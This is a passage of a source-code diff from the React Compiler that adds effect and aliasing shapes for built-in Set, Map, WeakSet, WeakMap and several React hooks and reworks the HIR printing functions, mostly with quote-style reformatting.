+            receiver: '@thisArg',
+            args: ['@item', {kind: 'Hole'}, '@receiver'],
+            function: '@callback',
+            into: '@callbackReturn',
+            mutatesFunction: false,
+          },
+          // captures the result of the callback into the return array
+          {
+            kind: 'Capture',
+            from: '@callbackReturn',
+            into: '@returns',
+          },
+        ],
+      },
     }),
   ],
   [
-    "map",
+    'flatMap',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Object", shapeId: BuiltInArrayId },
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
       /*
        * callee is ConditionallyMutate because items of the array
        * flow into the lambda and may be mutated there, even though
@@ -270,11 +589,11 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "filter",
+    'filter',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Object", shapeId: BuiltInArrayId },
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
       /*
        * callee is ConditionallyMutate because items of the array
        * flow into the lambda and may be mutated there, even though
@@ -287,11 +606,11 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "every",
+    'every',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       /*
        * callee is ConditionallyMutate because items of the array
        * flow into the lambda and may be mutated there, even though
@@ -304,11 +623,11 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "some",
+    'some',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       /*
        * callee is ConditionallyMutate because items of the array
        * flow into the lambda and may be mutated there, even though
@@ -321,11 +640,11 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "find",
+    'find',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Poly" },
+      returnType: {kind: 'Poly'},
       calleeEffect: Effect.ConditionallyMutate,
       returnValueKind: ValueKind.Mutable,
       noAlias: true,
@@ -333,11 +652,11 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "findIndex",
+    'findIndex',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.ConditionallyMutate,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       /*
        * callee is ConditionallyMutate because items of the array
        * flow into the lambda and may be mutated there, even though
@@ -350,10 +669,10 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
     }),
   ],
   [
-    "join",
+    'join',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
-      restParam: Effect.ConditionallyMutate,
+      restParam: Effect.Read,
       returnType: PRIMITIVE_TYPE,
       calleeEffect: Effect.Read,
       returnValueKind: ValueKind.Primitive,
@@ -365,7 +684,7 @@ addObject(BUILTIN_SHAPES, BuiltInArrayId, [
 /* Built-in Object shape */
 addObject(BUILTIN_SHAPES, BuiltInObjectId, [
   [
-    "toString",
+    'toString',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: null,
@@ -380,10 +699,438 @@ addObject(BUILTIN_SHAPES, BuiltInObjectId, [
    */
 ]);
 
+/* Built-in Set shape */
+addObject(BUILTIN_SHAPES, BuiltInSetId, [
+  [
+    /**
+     * add(value)
+     * Parameters
+     *   value: the value of the element to add to the Set object.
+     * Returns the Set object with added value.
+     */
+    'add',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInSetId},
+      calleeEffect: Effect.Store,
+      // returnValueKind is technically dependent on the ValueKind of the set itself
+      returnValueKind: ValueKind.Mutable,
+      aliasing: {
+        receiver: '@receiver',
+        params: [],
+        rest: '@rest',
+        returns: '@returns',
+        temporaries: [],
+        effects: [
+          // Set.add returns the receiver Set
+          {
+            kind: 'Assign',
+            from: '@receiver',
+            into: '@returns',
+          },
+          // Set.add mutates the set itself
+          {
+            kind: 'Mutate',
+            value: '@receiver',
+          },
+          // Captures the rest params into the set
+          {
+            kind: 'Capture',
+            from: '@rest',
+            into: '@receiver',
+          },
+        ],
+      },
+    }),
+  ],
+  [
+    /**
+     * clear()
+     * Parameters none
+     * Returns undefined
+     */
+    'clear',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    /**
+     * setInstance.delete(value)
+     * Returns true if value was already in Set; otherwise false.
+     */
+    'delete',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'has',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  ['size', PRIMITIVE_TYPE],
+  [
+    /**
+     * difference(other)
+     * Parameters
+     *   other: A Set object, or set-like object.
+     * Returns a new Set object containing elements in this set but not in the other set.
+     */
+    'difference',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInSetId},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    /**
+     * union(other)
+     * Parameters
+     *   other: A Set object, or set-like object.
+     * Returns a new Set object containing elements in either this set or the other set.
+     */
+    'union',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInSetId},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    /**
+     * symmetricalDifference(other)
+     * Parameters
+     *   other: A Set object, or set-like object.
+     * A new Set object containing elements which are in either this set or the other set, but not in both.
+     */
+    'symmetricalDifference',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInSetId},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    /**
+     * isSubsetOf(other)
+     * Parameters
+     *   other: A Set object, or set-like object.
+     * Returns true if all elements in this set are also in the other set, and false otherwise.
+     */
+    'isSubsetOf',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    /**
+     * isSupersetOf(other)
+     * Parameters
+     *  other: A Set object, or set-like object.
+     * Returns true if all elements in the other set are also in this set, and false otherwise.
+     */
+    'isSupersetOf',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    /**
+     * forEach(callbackFn)
+     * forEach(callbackFn, thisArg)
+     */
+    'forEach',
+    addFunction(BUILTIN_SHAPES, [], {
+      /**
+       * see Array.map explanation for why arguments are marked `ConditionallyMutate`
+       */
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Primitive,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  /**
+   * Iterators
+   */
+  [
+    'entries',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'keys',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'values',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+]);
+addObject(BUILTIN_SHAPES, BuiltInMapId, [
+  [
+    /**
+     * clear()
+     * Parameters none
+     * Returns undefined
+     */
+    'clear',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'delete',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'get',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'has',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    /**
+     * Params
+     *   key: the key of the element to add to the Map object. The key may be
+     *   any JavaScript type (any primitive value or any type of JavaScript
+     *   object).
+     *   value: the value of the element to add to the Map object.
+     * Returns the Map object.
+     */
+    'set',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture, Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInMapId},
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  ['size', PRIMITIVE_TYPE],
+  [
+    'forEach',
+    addFunction(BUILTIN_SHAPES, [], {
+      /**
+       * see Array.map explanation for why arguments are marked `ConditionallyMutate`
+       */
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Primitive,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  /**
+   * Iterators
+   */
+  [
+    'entries',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'keys',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'values',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+]);
+
+addObject(BUILTIN_SHAPES, BuiltInWeakSetId, [
+  [
+    /**
+     * add(value)
+     * Parameters
+     *   value: the value of the element to add to the Set object.
+     * Returns the Set object with added value.
+     */
+    'add',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInWeakSetId},
+      calleeEffect: Effect.Store,
+      // returnValueKind is technically dependent on the ValueKind of the set itself
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    /**
+     * setInstance.delete(value)
+     * Returns true if value was already in Set; otherwise false.
+     */
+    'delete',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'has',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+]);
+
+addObject(BUILTIN_SHAPES, BuiltInWeakMapId, [
+  [
+    'delete',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'get',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'has',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    /**
+     * Params
+     *   key: the key of the element to add to the Map object. The key may be
+     *   any JavaScript type (any primitive value or any type of JavaScript
+     *   object).
+     *   value: the value of the element to add to the Map object.
+     * Returns the Map object.
+     */
+    'set',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Capture, Effect.Capture],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInWeakMapId},
+      calleeEffect: Effect.Store,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+]);
+
 addObject(BUILTIN_SHAPES, BuiltInUseStateId, [
-  ["0", { kind: "Poly" }],
+  ['0', {kind: 'Poly'}],
   [
-    "1",
+    '1',
     addFunction(
       BUILTIN_SHAPES,
       [],
@@ -394,15 +1141,53 @@ addObject(BUILTIN_SHAPES, BuiltInUseStateId, [
         calleeEffect: Effect.Read,
         returnValueKind: ValueKind.Primitive,
       },
-      BuiltInSetStateId
+      BuiltInSetStateId,
+    ),
+  ],
+]);
+
+addObject(BUILTIN_SHAPES, BuiltInUseTransitionId, [
+  ['0', {kind: 'Primitive'}],
+  [
+    '1',
+    addFunction(
+      BUILTIN_SHAPES,
+      [],
+      {
+        positionalParams: [],
+        restParam: null,
+        returnType: PRIMITIVE_TYPE,
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Primitive,
+      },
+      BuiltInStartTransitionId,
+    ),
+  ],
+]);
+
+addObject(BUILTIN_SHAPES, BuiltInUseOptimisticId, [
+  ['0', {kind: 'Poly'}],
+  [
+    '1',
+    addFunction(
+      BUILTIN_SHAPES,
+      [],
+      {
+        positionalParams: [],
+        restParam: Effect.Freeze,
+        returnType: PRIMITIVE_TYPE,
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Primitive,
+      },
+      BuiltInSetOptimisticId,
     ),
   ],
 ]);
 
 addObject(BUILTIN_SHAPES, BuiltInUseActionStateId, [
-  ["0", { kind: "Poly" }],
+  ['0', {kind: 'Poly'}],
   [
-    "1",
+    '1',
     addFunction(
       BUILTIN_SHAPES,
       [],
@@ -413,15 +1198,15 @@ addObject(BUILTIN_SHAPES, BuiltInUseActionStateId, [
         calleeEffect: Effect.Read,
         returnValueKind: ValueKind.Primitive,
       },
-      BuiltInSetActionStateId
+      BuiltInSetActionStateId,
     ),
   ],
 ]);
 
 addObject(BUILTIN_SHAPES, BuiltInUseReducerId, [
-  ["0", { kind: "Poly" }],
+  ['0', {kind: 'Poly'}],
   [
-    "1",
+    '1',
     addFunction(
       BUILTIN_SHAPES,
       [],
@@ -432,22 +1217,61 @@ addObject(BUILTIN_SHAPES, BuiltInUseReducerId, [
         calleeEffect: Effect.Read,
         returnValueKind: ValueKind.Primitive,
       },
-      BuiltInDispatchId
+      BuiltInDispatchId,
     ),
   ],
 ]);
 
 addObject(BUILTIN_SHAPES, BuiltInUseRefId, [
-  ["current", { kind: "Object", shapeId: BuiltInRefValueId }],
+  ['current', {kind: 'Object', shapeId: BuiltInRefValueId}],
 ]);
 
 addObject(BUILTIN_SHAPES, BuiltInRefValueId, [
-  ["*", { kind: "Object", shapeId: BuiltInRefValueId }],
+  ['*', {kind: 'Object', shapeId: BuiltInRefValueId}],
 ]);
 
+addObject(BUILTIN_SHAPES, ReanimatedSharedValueId, []);
+
+addFunction(
+  BUILTIN_SHAPES,
+  [],
+  {
+    positionalParams: [],
+    restParam: Effect.ConditionallyMutate,
+    returnType: {kind: 'Poly'},
+    calleeEffect: Effect.ConditionallyMutate,
+    returnValueKind: ValueKind.Mutable,
+  },
+  BuiltInEffectEventId,
+);
+
+/**
+ * MixedReadOnly =
+ *   | primitive
+ *   | simple objects (Record<string, MixedReadOnly>)
+ *   | Array<MixedReadOnly>
+ *
+ * APIs such as Relay — but also Flux and other data stores — often return a
+ * union of types with some interesting properties in terms of analysis.
+ *
+ * Given this constraint, if data came from Relay, then we should be able to
+ * infer things like `data.items.map(): Array`. That may seem like a leap at
+ * first but remember, we assume you're not patching builtins. Thus the only way
+ * data.items.map can exist and be a function, given the above set of data types
+ * and builtin JS methods, is if `data.items` was an Array, and `data.items.map`
+ * is therefore calling Array.prototype.map. Then we know that function returns
+ * an Array as well. This relies on the fact that map() is being called, so if
+ * data.items was some other type it would error at runtime - so it's sound.
+ *
+ * Note that this shape is currently only used for hook return values, which
+ * means that it's safe to type aliasing method-call return kinds as `Frozen`.
+ *
+ * Also note that all newly created arrays from method-calls (e.g. `.map`)
+ * have the appropriate mutable `BuiltInArray` shape
+ */
 addObject(BUILTIN_SHAPES, BuiltInMixedReadonlyId, [
   [
-    "toString",
+    'toString',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Read,
@@ -457,28 +1281,161 @@ addObject(BUILTIN_SHAPES, BuiltInMixedReadonlyId, [
     }),
   ],
   [
-    "map",
+    'indexOf',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'includes',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Read,
-      returnType: { kind: "Object", shapeId: BuiltInArrayId },
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'at',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [Effect.Read],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInMixedReadonlyId},
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Frozen,
+    }),
+  ],
+  [
+    'map',
+    addFunction(BUILTIN_SHAPES, [], {
+      /**
+       * Note `map`'s arguments are annotated as Effect.ConditionallyMutate as
+       * calling `<array>.map(fn)` might invoke `fn`, which means replaying its
+       * effects.
+       *
+       * (Note that Effect.Read / Effect.Capture on a function type means
+       * potential data dependency or aliasing respectively.)
+       */
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
       calleeEffect: Effect.ConditionallyMutate,
       returnValueKind: ValueKind.Mutable,
       noAlias: true,
     }),
   ],
   [
-    "filter",
+    'flatMap',
     addFunction(BUILTIN_SHAPES, [], {
       positionalParams: [],
-      restParam: Effect.Read,
-      returnType: { kind: "Object", shapeId: BuiltInArrayId },
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Mutable,
+      noAlias: true,
+    }),
+  ],
+  [
+    'filter',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Object', shapeId: BuiltInArrayId},
       calleeEffect: Effect.ConditionallyMutate,
       returnValueKind: ValueKind.Mutable,
       noAlias: true,
     }),
   ],
-  ["*", { kind: "Object", shapeId: BuiltInMixedReadonlyId }],
+  [
+    'concat',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Capture,
+      returnType: {
+        kind: 'Object',
+        shapeId: BuiltInArrayId,
+      },
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'slice',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {
+        kind: 'Object',
+        shapeId: BuiltInArrayId,
+      },
+      calleeEffect: Effect.Capture,
+      returnValueKind: ValueKind.Mutable,
+    }),
+  ],
+  [
+    'every',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Primitive,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  [
+    'some',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Primitive,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  [
+    'find',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Object', shapeId: BuiltInMixedReadonlyId},
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Frozen,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  [
+    'findIndex',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.ConditionallyMutate,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.ConditionallyMutate,
+      returnValueKind: ValueKind.Primitive,
+      noAlias: true,
+      mutableOnlyIfOperandsAreMutable: true,
+    }),
+  ],
+  [
+    'join',
+    addFunction(BUILTIN_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: PRIMITIVE_TYPE,
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  ['*', {kind: 'Object', shapeId: BuiltInMixedReadonlyId}],
 ]);
 
 addObject(BUILTIN_SHAPES, BuiltInJsxId, []);
@@ -489,12 +1446,12 @@ export const DefaultMutatingHook = addHook(
   {
     positionalParams: [],
     restParam: Effect.ConditionallyMutate,
-    returnType: { kind: "Poly" },
+    returnType: {kind: 'Poly'},
     calleeEffect: Effect.Read,
-    hookKind: "Custom",
+    hookKind: 'Custom',
     returnValueKind: ValueKind.Mutable,
   },
-  "DefaultMutatingHook"
+  'DefaultMutatingHook',
 );
 
 export const DefaultNonmutatingHook = addHook(
@@ -502,10 +1459,57 @@ export const DefaultNonmutatingHook = addHook(
   {
     positionalParams: [],
     restParam: Effect.Freeze,
-    returnType: { kind: "Poly" },
+    returnType: {kind: 'Poly'},
     calleeEffect: Effect.Read,
-    hookKind: "Custom",
+    hookKind: 'Custom',
     returnValueKind: ValueKind.Frozen,
+    aliasing: {
+      receiver: '@receiver',
+      params: [],
+      rest: '@rest',
+      returns: '@returns',
+      temporaries: [],
+      effects: [
+        // Freeze the arguments
+        {
+          kind: 'Freeze',
+          value: '@rest',
+          reason: ValueReason.HookCaptured,
+        },
+        // Returns a frozen value
+        {
+          kind: 'Create',
+          into: '@returns',
+          value: ValueKind.Frozen,
+          reason: ValueReason.HookReturn,
+        },
+        // May alias any arguments into the return
+        {
+          kind: 'Alias',
+          from: '@rest',
+          into: '@returns',
+        },
+      ],
+    },
   },
-  "DefaultNonmutatingHook"
+  'DefaultNonmutatingHook',
 );
+
+export function signatureArgument(id: number): Place {
+  const place: Place = {
+    kind: 'Identifier',
+    effect: Effect.Unknown,
+    loc: GeneratedSource,
+    reactive: false,
+    identifier: {
+      declarationId: makeDeclarationId(id),
+      id: makeIdentifierId(id),
+      loc: GeneratedSource,
+      mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},
+      name: null,
+      scope: null,
+      type: makeType(),
+    },
+  };
+  return place;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/PrintHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/PrintHIR.ts
index f1daea199455..56764c5ad07e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/PrintHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/PrintHIR.ts
@@ -5,12 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import generate from "@babel/generator";
-import { printReactiveFunction } from "..";
-import { CompilerError } from "../CompilerError";
-import { printReactiveScopeSummary } from "../ReactiveScopes/PrintReactiveFunction";
-import DisjointSet from "../Utils/DisjointSet";
-import { assertExhaustive } from "../Utils/utils";
+import {CompilerError} from '../CompilerError';
+import {printReactiveScopeSummary} from '../ReactiveScopes/PrintReactiveFunction';
+import DisjointSet from '../Utils/DisjointSet';
+import {assertExhaustive} from '../Utils/utils';
 import type {
   FunctionExpression,
   HIR,
@@ -34,55 +32,70 @@ import type {
   SpreadPattern,
   Terminal,
   Type,
-} from "./HIR";
-import { GotoVariant, InstructionKind } from "./HIR";
+} from './HIR';
+import {GotoVariant, InstructionKind} from './HIR';
+import {AliasingEffect, AliasingSignature} from '../Inference/AliasingEffects';
 
 export type Options = {
   indent: number;
 };
 
+export function printFunctionWithOutlined(fn: HIRFunction): string {
+  const output = [printFunction(fn)];
+  for (const outlined of fn.env.getOutlinedFunctions()) {
+    output.push(`\nfunction ${outlined.fn.id}:\n${printHIR(outlined.fn.body)}`);
+  }
+  return output.join('\n');
+}
+
 export function printFunction(fn: HIRFunction): string {
   const output = [];
-  let definition = "";
+  let definition = '';
   if (fn.id !== null) {
     definition += fn.id;
+  } else {
+    definition += '<<anonymous>>';
+  }
+  if (fn.nameHint != null) {
+    definition += ` ${fn.nameHint}`;
   }
   if (fn.params.length !== 0) {
     definition +=
-      "(" +
+      '(' +
       fn.params
-        .map((param) => {
-          if (param.kind === "Identifier") {
+        .map(param => {
+          if (param.kind === 'Identifier') {
             return printPlace(param);
           } else {
             return `...${printPlace(param.place)}`;
           }
         })
-        .join(", ") +
-      ")";
-  }
-  if (definition.length !== 0) {
-    output.push(definition);
+        .join(', ') +
+      ')';
+  } else {
+    definition += '()';
   }
-  output.push(printHIR(fn.body));
+  definition += `: ${printPlace(fn.returns)}`;
+  output.push(definition);
   output.push(...fn.directives);
-  return output.join("\n");
+  output.push(printHIR(fn.body));
+  return output.join('\n');
 }
 
 export function printHIR(ir: HIR, options: Options | null = null): string {
   let output = [];
-  let indent = " ".repeat(options?.indent ?? 0);
-  const push = (text: string, indent: string = "  "): void => {
+  let indent = ' '.repeat(options?.indent ?? 0);
+  const push = (text: string, indent: string = '  '): void => {
     output.push(`${indent}${text}`);
   };
   for (const [blockId, block] of ir.blocks) {
     output.push(`bb${blockId} (${block.kind}):`);
     if (block.preds.size > 0) {
-      const preds = ["predecessor blocks:"];
+      const preds = ['predecessor blocks:'];
       for (const pred of block.preds) {
         preds.push(`bb${pred}`);
       }
-      push(preds.join(" "));
+      push(preds.join(' '));
     }
     for (const phi of block.phis) {
       push(printPhi(phi));
@@ -92,46 +105,46 @@ export function printHIR(ir: HIR, options: Options | null = null): string {
     }
     const terminal = printTerminal(block.terminal);
     if (Array.isArray(terminal)) {
-      terminal.forEach((line) => push(line));
+      terminal.forEach(line => push(line));
     } else {
       push(terminal);
     }
   }
-  return output.map((line) => indent + line).join("\n");
+  return output.map(line => indent + line).join('\n');
 }
 
 export function printMixedHIR(
-  value: Instruction | InstructionValue | Terminal
+  value: Instruction | InstructionValue | Terminal,
 ): string {
-  if (!("kind" in value)) {
+  if (!('kind' in value)) {
     return printInstruction(value);
   }
   switch (value.kind) {
-    case "try":
-    case "maybe-throw":
-    case "sequence":
-    case "label":
-    case "optional":
-    case "branch":
-    case "if":
-    case "logical":
-    case "ternary":
-    case "return":
-    case "switch":
-    case "throw":
-    case "while":
-    case "for":
-    case "unreachable":
-    case "unsupported":
-    case "goto":
-    case "do-while":
-    case "for-in":
-    case "for-of":
-    case "scope":
-    case "pruned-scope": {
+    case 'try':
+    case 'maybe-throw':
+    case 'sequence':
+    case 'label':
+    case 'optional':
+    case 'branch':
+    case 'if':
+    case 'logical':
+    case 'ternary':
+    case 'return':
+    case 'switch':
+    case 'throw':
+    case 'while':
+    case 'for':
+    case 'unreachable':
+    case 'unsupported':
+    case 'goto':
+    case 'do-while':
+    case 'for-in':
+    case 'for-of':
+    case 'scope':
+    case 'pruned-scope': {
       const terminal = printTerminal(value);
       if (Array.isArray(terminal)) {
-        return terminal.join("; ");
+        return terminal.join('; ');
       }
       return terminal;
     }
@@ -143,7 +156,10 @@ export function printMixedHIR(
 
